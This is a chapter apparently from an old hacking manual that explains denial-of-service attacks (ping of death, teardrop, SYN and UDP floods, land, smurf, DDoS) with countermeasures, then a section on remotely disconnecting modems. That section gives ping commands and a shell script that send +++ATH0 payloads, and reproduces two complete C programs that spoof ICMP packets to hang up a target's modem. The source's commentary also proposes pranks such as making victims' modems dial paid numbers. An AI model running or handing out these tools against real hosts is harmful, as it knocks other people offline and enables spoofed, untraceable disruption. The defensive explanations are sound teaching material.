Under Attack!!!

Although almost every system connected to the Internet is bound to find almost all of its services and daemons to be under attack sometime or other. However, the following are some of the most common attacks, which every server is likely to face: 1. 2. 3. 4. 5. Denial of Services or DOS Attacks Exploiting of Trust Relationships using IP Spoofing. Getting the Passwords Removing all traces from log files Trojan/Key logger Attacks

In this chapter, we discuss these threats in detail, with their working, concepts and countermeasures.

DOS Attacked!!!
Denial Of Services Attacks or DOS Attacks have these days become very common. Almost all servers are bound to be under a DOS Attack some time of the other. If one needs a one-line definition of a DOS Attack, then the following would best describe it: An attack on a target system by a malicious attacker to render the normal services offered by it to legitimate users as unavailable or disable them. DOS Attacks are aimed at denying valid, legitimate Internet and Network users from using the services of the target network or server. It involves the launching an attack, which will temporarily make the services, offered by the target system unusable or unavailable to legitimate users. In others words one can describe a DOS attack, saying that a DOS attack is one in which you clog up so much memory on the target system that it cannot serve legitimate users. Or you send the target system data packets, which cannot be handled by it and thus causes it to crash, reboot or more commonly deny services to legitimate users. There are a lot of different kinds of DOS Attacks, the most popular of which are documented and described in the below sections. 1. Ping of Death The Ping of Death is nothing but the use of the ping command to exploit the fact that the maximum packet size that TCP/IP allows for being transmitted over the Internet is restricted to 65 536 octets. This means that TCP/IP is not designed to handle packets having a size greater than 65 536 octets and the host receiving such a data packet would probably crash, reboot or hang. Ping makes use of the ICMP Echo Request and Echo Reply messages and is commonly used to detect whether the remote host is alive or not. Typically, by default, ping sends a packet having a data size of 32 bytes (8 octets). However, by making use of the -l argument, one can easily specify this data size. In this attack, the target system is pinged with a data packet that exceeds the maximum bytes allowed by TCP/IP. This simple form of DOS Attack can cause the remote system to hang, reboot or crash. This DOS attack can be carried out even through the command line, in the following manner: The following Ping command creates a giant datagram of the size 65540 for Ping to send to the remote system: C:\windows>ping -l 65540 hostname Pinging hostname [xx.yy.tt.pp] with 65540 bytes of data:

Reply from 203.94.243.71: bytes=65540 time=134ms TTL=61 Reply from 203.94.243.71: bytes=65540 time=142ms TTL=61 Reply from 203.94.243.71: bytes=65540 time=140ms TTL=61 Reply from 203.94.243.71: bytes=65540 time=119ms TTL=61 Countermeasures Almost all systems nowadays are bound not to be vulnerable to the ping of death. Unless and until you are running an ancient system with an equally ancient version of operating system, you are sure to be free from the influence of this type of a DOS attack. However, still to make sure that your software is patched, go to your vendors website and check. 2. Teardrop The Teardrop attack exploits the vulnerability present in the reassembling of data packets. Whenever data is being sent over the Internet, it is broken down into smaller fragments at the source system and put together at the destination system. Say you need to send 4000 bytes of data from one system to the other, then not all of the 4000 bytes are sent at one go. This entire chunk of data is first broken down into a number of smaller parts and divided into a number of packets, with each packet carrying a specified range of data. For Example, say 4000 bytes is divided into 3 packets, then: Packet 1: will carry data from 1 byte to 1500 bytes Packet 2: will carry data from 1501 bytes to 3000 bytes Packet 3: will carry data from 3001 bytes to 4000 bytes These packets have an OFFSET field in their TCP header part. This Offset field specifies from which byte to which byte does that particular data packet carries data or the range of data that it is carrying. This along with the sequence numbers helps the destination system to reassemble the data packets in the correct order. In a teardrop attack, a series of data packets are sent to the target system with overlapping Offset field values. As a result, the target system is not able to reassemble the packets and is forced to crash, hang or reboot. Say for example, consider the following scenario-: (NOTE: _ _ _ = 1 Data Packet) Normally a system receives data packets in the following form, with no overlapping Offset values. ___ ___ ___ (1 to 1500 bytes) (1501 to 3000 bytes) (3001 to 4500 bytes) However, in a Teardrop attack, the data packets are sent to the target computer in the following format: ___ (1 to 1500 bytes) ___ (1500 to 3000 bytes) ___ (1001 to 3600 bytes)

When the target system receives something like the above, it gets confused and cannot reassemble the data and will crash or hang or reboot. Countermeasures Get the latest patches from your vendor. For more information regarding the countermeasures, read: CERT Advisory CA-1997-28 IP Denial-of-Service Attacks 3. SYN Flooding Torn Apart

In this section, we will be focusing on one of the most common and easiest to execute DOS Attacks, known as SYN Flooding. SYN Floods are not only a very popular form of DOS attacks, but they are also one of the steps, which one has to take to successfully perform IP Spoofing. This manual talks about SYN Flooding in detail, giving the various malicious ways in which it can be misused and the countermeasures, that one can take to prevent ones system from falling prey to such attacks. The basic underlying concept behind SYN flooding is flooding the target system with so many connection requests coming from spoofed source Addresses such that all its memory gets hogged up, in trying to establish full, proper connections with all these connection requests. In effect, since all the memory of the target system is used up in trying to establish connections with spoofed source addresses, which do not actually exist, the target system is thus not able to provide services to even legitimate users or clients. Did you still not get as to what SYN Flooding means? Consider the following real life scenario: Say there is a single telephone connection with 10 parallel lines i.e. the same number has 10 lines. If you use 10 telephones and dial this particular number 10 times, once each from each telephone, then all the 10 parallel lines of the target telephone would be used up in answering your 10 calls. Thus, even if there were any legitimate clients trying to call up the number (which is under attack by you), then he would not be able to get through. Thus as a result, we can say that the services of the target telephone have been rendered unavailable. SYN Flooding is even better than the above scenario, as in the former the connection requests are from spoofed source addresses, thus making it difficult (not impossible) for the target system to trace the source of the attack. Similarly, in a SYN Flood Attack, the target system is flooded with endless number of connection requests, so that all of its memory is hogged up, thus rendering the services provided by the system unavailable to legitimate users. To understand SYN Flooding better, read further. The SYN attack exploits TCP/IP's three-way handshake. Thus in order to understand as to how SYN Attacks work, one needs to first know how exactly TCP/IP establishes a connection between two systems. Whenever a client wants to establish a connection with a host, then three steps take place. These three steps are referred to as the three-way handshake. 1. 2. 3. The client system sends a SYN Packet (Synchronization Packet) to the remote host The remote host replies with a SYN/ACK Packet (Synchronization/Acknowledgement Packet) to the client. The client replies with an ACK Packet, acknowledging the packet sent by the host in Step 2.

**************** HACKING TRUTH: What exactly are ACK and SYN Packets? TCP/IP in its bid to ensure proper and safe transfer of data from the client to the host demands that both the source and destination must transmit and receive acknowledgement messages, that confirms the safe and proper transfer of data. These acknowledgement messages are known as ACK messages. Let us take an example to understand ACK messages in a better manner. Say there are 2 systems A and B. Let us assume that A sends a packet (say X1) to B. Now, A will not send the second packet (i.e. X2) to B, unless and until it receives an acknowledgement (i.e. ACK X1) from B acknowledging the receipt of the first packet X1. Thus, we can say that A will not send the second packet unless and until B acknowledges the receipt of the first packet. Thus ensuring proper transfer of data from the source to the destination. The destination will not send more requests for data unless it gets the ACK from Source confirming that the ACK X1was received by it. If the source does not get an ACK message from the destination, then something, which is called a timed-out, occurs and the source (A) will resend the data to destination (B). An ACK message of 1000 would mean that all data up to 1000 octets has been received till now. There is also something known as NACK, but we would not be going into that in this manual.

A SYN Packet is nothing but a normal TCP packet with the Synchronize (SYN) flag switched on. A packet with the SYN flag switched on basically means that the sender of the SYN packet wants to establish a three- way TCP/IP connection with the destination system. ***************** To understand the three-way handshake better, let us follow the below depiction of the 3 steps-:

1. Client --------SYN Packet-------------- Host

In the first step the client sends a SYN packet to the host, with whom it wants to establish a three-way connection. The SYN packet requests the remote system for a connection. It also contains the Initial Sequence Number or ISN of the client, which is needed by the host to put back the fragmented data in the correct sequence. Data sent over the Internet is broken down at the senders end and put back together at the receivers end, and it is in this process that ISN comes into play.

2. Host -------------SYN/ACK Packet---------- Client

In the second step, the host replies to the client with a SYN/ACK packet. This packet acknowledges the SYN packet sent by the client and sends the client its own ISN.

3. Client --------------ACK----------------------- Host

In the last step the client acknowledges the SYN/ACK packet sent by the host by replying with an ACK packet. These three steps together are known as the 3-way handshake and only when they are completed is a complete TCP/IP connection established between the source and the destination. After a complete handshake has taken place, the connection thus established is called a fully established connection. The SYN Flood Attack In a SYN attack, several SYN packets are sent to the server but all these SYN packets have a bad source IP Address. When the target system receives these SYN Packets with Bad IP Addresses, it tries to respond to each one of them with a SYN ACK packet. Now the target system waits for an ACK message to come from the bad IP address. However, as the bad IP does not actually exist, the target system never actually receives the ACK packet. It thus queues up all these requests until it receives an ACK message. The requests are not removed unless and until, the remote target system gets an ACK message. Hence these requests take up or occupy valuable resources of the target machine. As a result, due to such a large number of connection requests, the memory of the target system gets hogged up, thus it is unable to cater to requests for information made by legitimate users. It is important to note that to actually affect the target system, a large number of SYN packets having bad IP addresses have to be sent. As these packets have a Bad Source IP, they queue up, use up resources and memory of the target system and eventually crash, hang or reboot the system. In accordance with the rules of TCP/IP, after a certain time has passed, a timed out takes place and the connection requests queued up by the target system are discarded, thus a part of the hogged up memory gets freed up. However, in a typical SYN Flooding Attack, the attacker keeps on sending connection requests from spoofed addresses at a rate faster than a timed out of the earlier connection requests can take place (A Timed Out forces the earlier connection requests to get discarded.) As a result, even though due to timed out the queued up connection requests are being discarded, the memory of the target system does not get freed up, as the attacker is continuously sending more and more spoofed connection requests. **************** HACKING TRUTH: SYN Packets in conjugation with the concept of half open connections are used for

stealth port scanning or half open port scanning. For more details read the Port Scanning Unscanned section. **************** When the target system has sent the SYN ACK packet to the client, who had tried to establish a connection, and it is waiting to receive an ACK from this particular client, then the existing connection is said to be a half open connection or the host is said to be in the state of SYN_RECEIVED. It is this state, that one can use to detect whether his system is under SYN floods are not. Simply type in the following Netstat command at the prompt: (The parameters passed and the results in this case would vary from system to system) C:\windows>netstat -a Active Connections Proto Local Address TCP ankit TCP ankit TCP ankit TCP ankit TCP ankit TCP ankit TCP ankit TCP ankit . If the above command, when executed on your system shows you a lot of connections in the SYN_RECEIVED state, then it probably means that your system is under a SYN Flood Attack. It is important to note that in the above output, there are indeed some connections in the state of Established. They basically are legitimate connections, which remain unaffected even after the SYN flood attack on the target system. We now know the working of SYN Attacks and how to detect whether or not your system is under a SYN flood attack or not. Let us now learn the countermeasures, which can be taken against such attacks. Countermeasures There is no single countermeasure to protect your system against SYN Flood attacks. However, there are certain sets of steps, which can be followed to minimize the risk of damage caused by such attacks-: 1. Reducing the duration of time required for a timed out of a connection, to take place. This will ensure that if a large number of connection requests are sent to the target system, then the spoofed requests would be discarded sooner, thus minimizing the hogging of memory i.e. minimizing the risk of such attacks. Although this will minimize the hogging up of system resources, it is definitely not a very good countermeasure against SYN Attacks. Increasing the queue of connection requests: This means to increase the number of connection requests that can be accepted by a particular host at one time. However, one negative to this is that it will result in hogging up of more memory and resources of the host. Installing vendor specific updates and patches or by employing a firewall, which will detect SYN attacks and effectively respond with fake responses and try and trace back the spoofed source address to the actual attacker. For more details read: CERT Advisory CA-1996-21 TCP SYN Flooding and IP Spoofing Attacks Foreign Address 201.xx.34.23 201.xx.34.23 201.xx.34.23 201.xx.34.23 201.xx.34.23 201.xx.34.23 201.xx.34.23 *:* State SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED SYN_RECEIVED ESTABLISHED

2.

3.

SYN Flooding is also commonly used in the process of performing IP Spoofing. We would be discussing IP Spoofing in a later chapter. 4. Land Attacks A Land attack is similar to a SYN attack, the only difference being that instead of a bad IP Address, the IP address of the target system itself is used. What this means is that in a Land Attack, the attacker sends SYN packets to a particular port of the target system with the source address and source port number of these SYN packets, being same as the destination IP Address and port number. This creates an infinite loop between the target system and the target system itself and hangs, crashes etc it. Countermeasures The easiest countermeasure to protect your system against Land attacks, is to install a firewall or a filtering utility, which filters out outgoing packets having the source address same as the address of the local system i.e. your system. Thus, our filtering rules should aim at preventing spoofing of source IP Addresses, where the source IP Address is same as that of the local host. 5. Smurf Attacks A Smurf attack is a sort of Brute Force DOS Attack, in which a huge number of Ping Requests are sent to a system (normally the router) in the Target Network, using Spoofed IP Addresses from within the target network. As and when the router gets a PING message, it will route it or echo it back, in turn flooding the Network with Packets, and jamming the traffic. If there are a large number of nodes, hosts etc in the Network, then it can easily clog the entire network and prevent any use of the services provided by it. Read more about the Smurf Attacks at CERT: http://www.cert.org/advisories/CA-98.01.smurf.html 6. UDP Flooding This type of attack, most commonly exploits the chargen or echo services, creating an infinite loop between two UDP services. CERT describes this denial of service attack as follows: When a connection is established between two UDP services, each of which produces output, these two services can produce a very high number of packets that can lead to a denial of service on the machine(s) where the services are offered. Anyone with network connectivity can launch an attack; no account access is needed. For example, by connecting a host's chargen service to the echo service on the same or another machine, all affected machines may be effectively taken out of service because of the excessively high number of packets produced. In addition, if two or more hosts are so connected, the intervening network may also become congested and deny service to all hosts whose traffic traverses that network. This kind of flooding is done against two target systems and can be used to stop the services offered by any of the two systems. In a UDP Flood Attack, a connection is established between two UDP services, with each service producing a certain number of characters as output. Ultimately, so many characters are generated that a denial of service attack takes place. Such a scenario creates an infinite non-stopping loop between the two systems, making them useless for any data exchange or service provision. Countermeasures

1. 2.

It is advisable to disable the chargen and echo services, unless and until you really need those services on. Also, one should try and disable as many UDP services (which are not really important) as possible. Follow the countermeasures against IP Spoofing, mentioned in the IP Spoofing Torn Apart section.

Distributed DOS Attacks DOS attacks are not new; in fact they have been around for a long time. However there has been a recent wave of Distributed Denial of Services attacks which pose a great threat to Security and are on the verge of overtaking Viruses/Trojans to become the deadliest threat to Internet Security. Now you see, in almost all of the above TCP/IP vulnerabilities, which are being exploited by hackers, there is a huge chance of the target's system administrator or the authorities tracing the attacks and getting hold of the attacker. Now what is commonly being done is, say a group of 5 Hackers join and decide to bring a Fortune 500 company's server down. Now each one of them breaks into a smaller less protected network and takes over it. So now they have 5 networks and supposing there are around 20 systems in each network, it gives these Hackers, around 100 systems in all to attack from. So they sitting on there home computer, connect to the hacked less protected Network, install a Denial of Service Tool on these hacked networks and using these hacked systems in the various networks launch Attacks on the actual Fortune 500 Company. This makes the hackers less easy to detect and helps them to do what they wanted to do without getting caught. As they have full control over the smaller less protected network they can easily remove all traces before the authorities get there. Not even a single system connected to the Internet is safe from such DDOS attacks. All platforms Including Unix, Windows NT are vulnerable to such attacks. Even MacOS has not been spared, as some of them are being used to conduct such DDOS attacks. DISCONNECTING MODEMS REMOTELY A little more than a year ago, I was really addicted to IRCing and chatting using IRC clients and Chatting software. There was a time when I used to connect to the Internet just to IRC. This addiction fortunately did not last long and I soon learnt how to get myself to stay away from chatting etc. However during this time, I had some very interesting experiences and even learnt a lot. In this guide, I will explain some of these pretty interesting techniques, which besides being fun to perform will also surely teach you one or two new things. This section will answer a lot of your questions like: Controlling Modems Remotely. Sending Modems AT Commands remotely. How do I disconnect a person from the Internet, if I know his IP? How can I disconnect myself from the Internet? How do I control Modems Manually? How to protect your Modem from these ATH attacks? Etc Before we move on to the interesting stuff, we need to first know as to what exactly makes controlling modems remotely possible or in other words, what is the core or what is the loophole (well, not exactly a loophole.), which makes all modems connected to the Internet Vulnerable. To understand this, we need to know as to how data packets travel through the Internet or through a Local Area Network or LAN. Let us assume, that your IP Address is xx.xx.xx.xx and the server you are connecting to has the IP: yy.yy.yy.yy. Let us assume that we run a C program which creates a single data packet and sends it to yy.yy.yy.yy, then the packet, would take the following path to reach its destination. C Program at Source ---------------Router ----------------- Daemon at Destinations Port (xx.xx.xx.xx) (yy.yy.yy.yy)

However, the above is a simple description of the entire process. If we describe the above, in a more detailed manner, then it would be: C Program at source ----- Modem of Source --- Router ----- Modem of Destination ------ Destination Daemon Thus, we can say that each packet goes through the modem at both the source and destination. Thus the thing to remember here is that all data go through the modems and this data could also be modem commands. A system talks to or controls a modem by issuing Modem commands, which are generally referred to as AT commands. This was a pretty vague and incomplete description of what modem commands are. To fully understand them, read the following paragraphs. Hayes, a long time ago, set down a standard for modem commands, which started to be followed by a lot of Modem Manufacturers and modems following this standard were called Hayes Compatible. This complete set of Modem Commands, which follows the Hayes Standard, is called the AT Command set. Here AT stands for Attention. It basically tends to say to the Modem, OK, Mr. Modem, you better pay attention as I have some commands for you to execute. The AT precedes all Modem commands with a few exceptions, which we will discuss later. ********************** HACKING TRUTH: A very simple and basic example of an AT command, would be, the one, which is issued when you dial into your ISP. When you click on the Connect Button, the DUN software sends the following command to your modem: ATDT or ATDP command followed by the number you want to dial and enter. Let us now analyze various parts of the above command. The AT tells the modem to pay attention. The second part tells the modem as to what kind of dialing system to use. For Example, DT tells it to use dial by tone, while DP tells it to use pulse dial. And the last part is the number you want to dial. NOTE: To issue commands to your modem, you need to be in Command mode of your communication package. ********************* Your modem accepts commands only when it is in the command mode. A modem is always either in the command mode, or the on-line mode. When you boot up, your modem is by default in command mode. . Thus, when your modem is in command mode, then all AT commands are considered to be commands, while in online mode, all commands are considered to be as data packets. The above paragraph tells us that when we connect to the Internet, then our modem is in the online mode and thus cannot accept any commands. This means that even if you know the IP Address of a person and send them a modem command string, then the modem will only treat it as normal data and will not react to it. (As it is in online mode.) Thus, for the modem to start accepting and start reacting to AT commands, it has to be switched to the command mode. This is where the escape sequence comes in. When the modem is in the online mode, then it can be brought to the command mode by sending it the escape characters i.e. +++. Passing the escape characters will switch the modem to the command mode and it will start reacting to AT commands. On giving the escape character, the actual AT command need not have the string AT and it need not end with enter. ************************ HACKING TRUTH: The modem can be returned to the on-line state after the escape sequence has been issued. To return the modem to the on-line state, you have to give the ATO command. ************************

This means, that if you know the IP Address of someone, then if you send the +++ string to it followed by the AT Modem command, then you could practically control it remotely. You could disconnect the modem, change the Dial type, force it to dial a particular number etc. Let me take an example to make it clearer. H0 is the AT command, which instructs the modem to disconnect or hang-up. Normally, if you want to disconnect your own modem or a local modem, then you would issue the following command: +++ATH0 This basically switches your modem from the online mode to the command mode, and then sends it the H0 command, which is the disconnect command and thus disconnects the modem. This same command, if sent to a remote system, will disconnect it from the network too!!! Before we move onto as to how one can implement the ATH string attack in C, let us see as how to do the same using the popular network diagnosing tool, ping. The following command, works on most systems, but from the arguments, I believe it will not work on Win 9x machines. ping -c 5 -p 2b2b2b415453323d32353526574f310d ip For explanation of the above ping command, I suggest you read the man pages of your *nix box: The following shell script too would do the same for you: #!/bin/sh ping -p 2b2b2b415448300d $* NOTE: This exploit or the ATH0 attacks do not work on all modems. It is not true that all old modems are vulnerable or all new modems are safe, it basically depends on brand to brand. For more details about how to protect your modem from such attacks, read the countermeasures The following is a C program, from Packet Storm, which spoofs ICMP packets and perform the same attack: _____________________________________ [Explanation] The way the exploit works is it hides escape/control sequences in an ICMP echo request packet (it contains the string +++ATH0) the +++ sends the modem into escape mode (and if the guard time on the modem is set ridiculously low) it will go into command mode and you can issue it an ATH0 to hang up. It works on the reply, because it receives the echo request packet, then duplicates the packet with a new timestamp and checksum, destination/source hosts and returns it to the sender, when it returns it the string is sent to the modem, and thus hanging it up. There are a few conditions that must be met for it to work (if you dont want to be vulnerable to this, fix these!) 1) The Target computer must not filter ICMP echo request and must know how to reply to one if it gets one 2) The Target computer must be using a modem (you can't hang-up DS3s, although I suppose you could hang-up Telco return connections. if you can find one) 3) The target computer must have a vulnerable modem (i.e. guard time is set ridiculously low)

4) You have to be able to send spoofed packets (If you can't, then you can use your own address, but then the target knows where it came from) In my experimenting, I have also devised various fun ways to use this program other than just nuking your buddy off IRC. In theory, it is possible to modify the program to do fun stuff like make the target call some number after it hangs up (i.e. +++ATH0, DT5551212) should make the modem hang-up, pause for 6 seconds then call 5551212. This is fun for obvious reasons. Then the next variation I came up with is a Smurf like implementation in which you could make a script to DOS a class C subnet, with the number of your least favorite company, since most company's have 800 numbers, not only does this cause chaos to the phone bank, but also costs ~$.30 per call...but I don't condone any of those ideas of course, this is just for experimental/educational purposes only, if you fix your modems, none of this is possible, so get off your ass and fix it. --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --/* * gin.c * jpester@engr.csulb.edu #include <stdio.h> #include <signal.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/time.h> #define VERSION "1.2-05.05" //fixed old compiler compatibility problems #define FRIEND "foo" void usage( char *name ); void banner( void ); char *get_progname( char *fullname ); void done( int foo ); void gin( int port, struct sockaddr_in sin, struct sockaddr_in din ); unsigned short in_chksum( u_short *ipbuf, int iplen ); int main( int argc, char **argv ) { struct hostent *sourceinfo, *destinfo; struct sockaddr_in sin, din; int sockfd, numpackets, i; char *target, *source; banner(); ( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL; source = argv[1]; target = argv[2];

numpackets = ( atoi( argv[3] ) ); signal( SIGINT, done ); if( ( sourceinfo = gethostbyname( source ) ) == NULL ) { printf( "cannot resolve source host!\n" ); exit( -1 ); } memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr, sourceinfo->h_length ); sin.sin_family = AF_INET; if( ( destinfo = gethostbyname( target ) ) == NULL ) { printf( "cannot resolve destination host!\n" ); exit( -1 ); } memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr, destinfo->h_length ); din.sin_family = AF_INET; if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 ) { printf( "Cannot get raw socket, you must be root!\n" ); exit( -1 ); } printf( "Source Host\t\t: %s\n", inet_ntoa( sin.sin_addr ) ); printf( "Target Host\t\t: %s\n", inet_ntoa( din.sin_addr ) ); printf( "Number\t\t\t: %d\n", numpackets ); printf( "Have some gin sucka" ); for( i = 0; i < numpackets; i++ ) gin( sockfd, sin, din ); printf( "\n\nsent %d packet%c...done\n", numpackets, ( numpackets > 1 ) ? 's' : ( char )NULL ); return 0; } void usage( char *name ) { printf( "usage: %s <source host> <dest host> <num packets>\n[ http://www.rootshell.com/ ] \n\n", name ); exit( 0 ); } void banner( void ) { printf( "\ngin [ v%s ] /\\ by amputee\n", VERSION ); printf( "compiled for: %s\n\n", FRIEND ); }

char *get_progname( char *fullname ) { char *retval = strrchr( fullname, '/' ); return retval ? ++retval : fullname; } void done( int foo ) { puts( "Exiting...\n" ); exit( 1 ); } void gin( int port, struct sockaddr_in sin, struct sockaddr_in din ) { char *ginstring = "+++ATH0\r+++ATH0\r+++ATH0\r+++ATH0\r"; char *packet; int total; struct iphdr *ip; struct icmphdr *icmp; size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr ); size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct timeval ); int len = strlen( ginstring ); packet = ( char * )malloc( iphlen + icplen + len ); ip = ( struct iphdr * )packet; icmp = ( struct icmphdr * )( packet + iphlen ); ( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen )], ( struct timezone * )NULL ); memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 ) ); ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen ); ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = din.sin_addr.s_addr; ip->check = in_chksum( ( u_short * )ip, iphlen ); icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 ) ) ); total = ( iphlen + icplen + timlen + len + 16 ); sendto( port, packet, total, 0, ( struct sockaddr * )&din, sizeof( struct sockaddr ) );

free( packet ); } // stolen from smurf unsigned short in_chksum( u_short *ipbuf, int iplen ) { register int nleft = iplen; register int sum = 0; u_short answer = 0; while( nleft > 1 ) { sum += *ipbuf++; nleft -= 2; } if( nleft == 1 ) { *( u_char * )( &answer ) = *( u_char * )ipbuf; sum += answer; } sum = ( sum >> 16 ) + ( sum + 0xffff ); sum += ( sum >> 16 ); answer = ~sum; return( answer ); } --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --- CUT HERE --Also note: some machines seg fault when they run this, and setting the environment variable MALLOC_CHECK_ to 1 seems to solve this. And..this code will probably come out all offset and break when you try to compile it...so just fix it, it compiles fine (i use g++ -O3 -o gin gin.c). __________________________________________ Yet, another program, (a better one) from their Archive: /* Hi, this is basically a small C program to quickly use the +++AZH0 modem bug on a given target. This thing is handy because you do not have to go through the trouble of typing the ping string, and it spoofs, which is also quite handy :) Anyway, use this to disconnect most modems on ANY OS on the Internet by sending an ICMP_ECHO_REQUEST with the contents of +++AZH0. The modem gets it and (since it's an ICMP ECHO) sends the same packet back and resets. It can be patched by setting the modem register S2 to such a value that turns the command mode of the modem off (255 will do). The modem will NOT execute the commands in the packets anymore and function stable. NOTE: Before you actually USE this program, turn your OWN command mode of Else, your modem will RESET upon trying to send the packets away. Put the statement S2=255 somewhere in your modem CALL STRING. It should look something like this: OK ATB0&C1&D2S2=255DT<Phone No.>At least, it does so on my modem. Note that some modems will get into trouble with the command mode turned off. If this is the case, tough, you CANNOT use this program AND you ARE VULNERABLE to this attack. Have fun, Scrippie

If you think this program is truly cool (which is not true) mail at: ronald.huizer@wxs.nl If you sincerely wish to flame me, mail me at: tw374044@student.twi.tudelft.nl. This mail address is forwarded to someone I really dislike. The way to patch a modem has been added thanks to Ardrian Gonzales. Some modems may disconnect when trying to use the patch. */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #define BUFFER 80 #define RESET "+++ATH0\x0d" #define PATCH "+++ATH0H1TD112\x0d" int resolve(const char *name, unsigned int port, struct sockaddr_in *addr); unsigned short in_cksum(u_short *addr, int len); int killmodem(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr, unsigned int type) { unsigned char *packet; struct iphdr *ip; struct icmphdr *icmp; char *blah; int rc; int c; int b=0; switch(type) { case (0): { blah = RESET; break; } case (1): { blah = PATCH; break; } default: blah = RESET; } packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER); ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); for(c=0;c<(sizeof(struct iphdr)+ sizeof(struct icmphdr) + BUFFER);c++) { if(b==strlen(blah)) b=0; packet[c]=blah[b]; b++; } /* This is the IP header of our packet. */

ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->id = htons(43210); ip->frag_off = htons(0); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER); ip->ttl = 25; ip->protocol = IPPROTO_ICMP; ip->saddr = spoof_addr; ip->daddr = dest_addr->sin_addr.s_addr; ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = 0; icmp->checksum = in_cksum((u_short *)icmp,sizeof(struct icmphdr) + BUFFER); if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + BUFFER,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); } free(packet); return(0); } int main(int argc, char **argv) { struct sockaddr_in dest_addr; unsigned int i,sock,type; unsigned long src_addr; if(geteuid()!=0) { fprintf(stderr, "You must be ROOT in order to run this!\n"); return(-1); } printf("Modem Killer - Version 1.0b - Spoofable\n"); printf("By Scrippie\n"); if ((argc != 5)) { printf("Use the following format:\n"); printf("%s <Spoof IP> <Target IP> <Number> <Type>\n", argv[0]); printf("Where type means the type of the modem crash.\n"); printf("---------------------------------------------\n"); printf("Type 0: Makes the modem hangup\n"); printf("Type 1: Patches a modem against attacks\n"); printf("---------------------------------------------\n"); printf("Greetz, Scrippie\n"); return(-1); } switch(atoi(argv[4])) {

case (0): { type = 0; break; } case (1): { type = 1; break; } default:{ printf("WRONG type you idiot!\n"); return(-1); } } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr,"No RAW sockets available...\n"); return(-1); } if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } src_addr = dest_addr.sin_addr.s_addr; if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); } printf("Now sending the modem kill...\n"); for (i = 0;i < atoi(argv[3]);i++) { if (killmodem(sock, src_addr, &dest_addr, type) == -1) { fprintf(stderr,"Cannot send packet...\n"); return(-1); } usleep(10000); } } /*****************************************************************************\ *** Of course, no one has EVER seen this piece of networking code before... *** \*****************************************************************************/ int resolve(const char *name, unsigned int port, struct sockaddr_in *addr) { struct hostent *host; memset(addr,0,sizeof(struct sockaddr_in)); addr->sin_family = AF_INET; addr->sin_addr.s_addr = inet_addr(name); if (addr->sin_addr.s_addr == -1) { if (( host = gethostbyname(name) ) == NULL ) { fprintf(stderr,"Unable to resolve host %s\n",name); return(-1); } addr->sin_family = host->h_addrtype; memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); } addr->sin_port = htons(port); return(0); } unsigned short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0;

/* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } -----------------Countermeasures Protection from these attacks is quite simple. But, I do suggest that before you read this section, you should try the above attacks on yourself, and see whether you are vulnerable or not. In order to protect your modem from ATH0 attacks, or in other words to prevent it from switching from online mode to command line mode, all you have to do is: Set your init string value to: S2=255. ******************* HACKING TRUTH: You can change the initialization settings of your modem in the following ways: 1. Through the Windows Registry (The Kewl, but long Way) Go to, the following registry key and change the Settings to the Value you want it to be. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Init 2. Through the Modems option in the Control Panel. (The shorter kewl method.), but not so

